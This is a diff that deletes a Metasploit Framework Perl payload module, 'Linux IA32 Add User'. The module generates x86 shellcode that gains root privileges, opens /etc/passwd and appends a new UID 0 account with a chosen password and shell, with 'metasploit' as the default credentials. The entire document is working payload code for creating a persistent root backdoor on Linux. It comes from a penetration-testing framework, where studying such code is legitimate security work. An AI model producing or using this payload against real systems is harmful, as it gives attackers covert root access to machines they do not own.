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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Payload::linux_ia32_adduser;
- use strict;
- use base 'Msf::PayloadComponent::NoConnection';
- use Pex::x86;
-
- my $info =
- {
- 'Name' => 'Linux IA32 Add User',
- 'Version' => '$Revision: 1.2 $',
- 'Description' => 'Create a new user with UID 0',
- 'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>',
- 'spoonm <ninjatools [at] hush.com>',
- 'skape <mmiller [at] hick.org>' ],
- 'Arch' => [ 'x86' ],
- 'Priv' => 1,
- 'OS' => [ 'linux' ],
- 'Size' => '',
- 'UserOpts' =>
- {
- 'LUSER' => [1, 'DATA', 'The username to create', 'metasploit'],
- 'LPASS' => [1, 'DATA', 'The password for this user', 'metasploit'],
- 'LSHELL' => [0, 'DATA', 'The shell for this user', '/bin/sh'],
- },
- };
-
- sub new {
- my $class = shift;
- my $hash = @_ ? shift : { };
- $hash = $class->MergeHashRec($hash, {'Info' => $info});
- my $self = $class->SUPER::new($hash, @_);
-
- $self->_Info->{'Size'} = $self->_GenSize;
- return($self);
- }
-
- sub Build {
- my $self = shift;
- return($self->Generate());
- }
-
- sub Generate {
- my $self = shift;
- my $user = $self->GetVar('LUSER') || 'metasploit';
- my $pass = $self->GetVar('LPASS');
- my $shell = $self->GetVar('LSHELL') || '/bin/sh';
- my $str = $user . ":" . crypt($pass, "AA") . ":0:0::/:" . $shell . "\n";
-
- my $shellcode =
- "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58".
- "\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70".
- "\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd".
- "\x80\x93".
- Pex::x86::call(length($str)).
- $str.
- "\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58".
- "\xcd\x80";
-
- return($shellcode);
- }
-
- sub _GenSize {
- my $self = shift;
- my $bin = $self->Generate('');
- return(length($bin));
- }
-
- 1;
-
-